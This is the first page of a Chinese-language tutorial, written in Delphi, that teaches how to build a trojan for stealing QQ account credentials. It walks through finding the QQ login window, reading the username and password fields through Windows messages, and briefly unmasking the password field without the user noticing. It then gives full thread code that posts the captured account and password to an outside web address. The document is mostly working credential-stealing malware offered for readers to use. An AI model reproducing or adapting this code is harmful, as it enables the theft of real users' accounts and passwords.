|
本来我是想写个好点的DLL木马的,可考虑到篇幅有限(其实是水平有限啊^_^),于是写了一个简单一点的,希望大家能从中学到点什么。
一.判断QQ是否运行
QQ木马当然是用来盗号的,所以第一步要先判断QQ是否已经运行,。有一种比较简便的方法是通过调用findwindow这个API函数来取得QQ主程序的窗口句柄。如果函数返回值为空,则表示QQ没有运行,如果大余0则表示QQ已经运行。下面是findwindow这个函数的声明:
FWND FindWindow (LPCTSTR IpClassName, LPCTSTR IpWindowName);
因为QQ程序的窗口类名是32770,所以通过调用FindWindow(`#32770`,nil)就可以得到QQ主程序的窗口句柄了。这样就可以判断QQ是否运行了。
二.获取QQ帐号和密码
在取得QQ程序主窗口的句柄后我们可以再调用另外一个函数FindWindowEx就可以得到QQ登陆帐号和密码的句柄了。然后通sendmessage函数发送一条消息给这个输入框,QQ程序就会返回这个输入框里面的文字信息。这是sendmessage函数的原型:LRESULT SendMessage (HWND hWnd,UINT Msg, WPARAMwParam, LPARAM IParam);但是在调用sendmessage函数取得QQ密码的时候,QQ密码经常回不显示星号而是直接显示用户输入的字符,这样就很容易被人发现,为了不让密码显示出来还应调应函数PostMessage,它和sendmessage的区别就是sendmessage直接把一个消息发送给窗口,等消息处理完后才返回,而PostMessage是把消息发送到消息队列后立即返回。这样通过PstMessage发送一个带*号的字符给QQ密码输入框,QQ密码输入框就和以前一样了,只会显示星号而不显示字符。下面是整个截取QQ登陆帐号和密码的函数:
procedure ThreadProc; var p,k:integer; qqhwnd,qqhwnd2,tempH:hwnd; username,password:pchar; usertemp,passtemp:string; begin while true do begin sleep(100); p:=k; getmem(username,255); getmem(password,255); QQhwnd:=FindWindow(`#32770`,nil); qqhwnd2:=FindWindowEx(qqhwnd,0,`Button`,`注册向导`); if qqhwnd2<>0 then begin k:=1; TempH:=FindWindowEx(qqHwnd,0,`ComboBox`,nil); SendMessage(TempH,WM_GETTEXT,100,Integer(username)); TempH:=FindWindowEx(QQHwnd,0,`Edit`,nil); PostMessage(TempH,EM_SETPASSWORDCHAR,ord(#0),0); Sleep(10); SendMessage(TempH,WM_GETTEXT,100,Longint(password)); PostMessage(TempH,EM_SETPASSWORDCHAR,wparam(`*`),0); usertemp:=username; passtemp:=password; end else begin QQhwnd:=FindWindowEx(qqhwnd,0,`#32770`,nil); QQhwnd:=FindWindowEx(qqhwnd,0,`Button`,`使用已有的QQ号码`); if qqhwnd<>0 then begin k:=1; TempH:=GetNextWindow(QQHwnd,GW_HWNDNEXT); SendMessage(TempH,WM_GETTEXT,100,Integer(username)); TempH:=GetNextWindow(TempH,GW_HWNDNEXT); PostMessage(TempH,EM_SETPASSWORDCHAR,ord(#0),0); Sleep(10); SendMessage(TempH,WM_GETTEXT,100,Longint(password)); PostMessage(TempH.EM_SETPASSWORDCHAR, wparam(`*`),0); usertemp:=username; passtemp:=password; end else k:=0; end;
if (p=1) and (k=0) and (length(usertemp)>4) and (length(usertemp)<10) and (length(passtemp)>3) then begin PostURL(http://www.sokuang.com/qq/post.asp`,`username=`+usertemp+`&password=`+passtemp); end; freemem(username); freemem(password);
end; end; |
[1] [2] 下一页 |